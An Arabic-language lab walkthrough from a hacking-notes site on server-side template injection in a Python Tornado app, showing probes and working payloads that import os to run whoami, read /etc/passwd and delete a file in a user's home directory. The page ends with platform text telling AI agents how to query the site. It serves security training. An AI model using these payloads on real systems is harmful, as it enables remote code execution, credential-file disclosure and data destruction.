> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssti/basic-ssti-in-a-python-code-context.md).

# SSTI أساسي في سياق شيفرة Python

### حقن أساسي في القوالب من جهة الخادم (سياق الشيفرة)

يعرض هذا المختبر ثغرة **حقن القوالب من جهة الخادم (SSTI)** بسبب الاستخدام غير الآمن لـ **قالب Tornado**. / الهدف هو تشغيل شيفرة عشوائية عبر محرّك القوالب، ثم حذف `morale.txt` الملف الموجود في الدليل الشخصي لكارلوس.

تم توفير حساب تجريبي: **wiener:peter**.

#### **تحليل التطبيق**

في القسم الذي يحدد كيفية عرض المستخدم أثناء التعليق، يمكن تعديل المعامل المُرسَل:

<figure><img src="/files/13307dee48e6c112698726dc9aedc517bf86dd2f" alt="" width="563"><figcaption></figcaption></figure>

الخطأ الذي أعاده الخادم يؤكد وجود **Python/Tornado** محرّك، مما يشير إلى وجود حقن في القوالب.

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="/files/33bdd0e08c47e408ccec2d1c224d32833f79a556" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="/files/05e28cb8037ebd388ced583bfb9013cfca0109d2" alt=""><figcaption></figcaption></figure>

#### **اختبارات الحقن الأساسية**

للتحقق مما إذا كان القالب يُفسَّر:

```python
{{7*7}}
}}{{7*7
```

يؤكد العرض عملية الحقن: حيث تُجرى العملية الحسابية بواسطة محرّك القوالب.

<figure><img src="/files/a0b7590aac703e91da667f0da27fcaff905602d8" alt=""><figcaption></figcaption></figure>

#### **تنفيذ الأوامر**

يتيح Tornado استيراد الوحدات مباشرةً داخل القالب

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **قراءة الملف `/etc/passwd`**

حقن مُكيَّف مع المعامل الضعيف

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="/files/a8e3296591dbdbc7dea89182bd1878beba101331" alt=""><figcaption></figcaption></figure>

#### **تم حذف ملف Moral.txt**

الأمر النهائي للتحقق من المختبر:

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
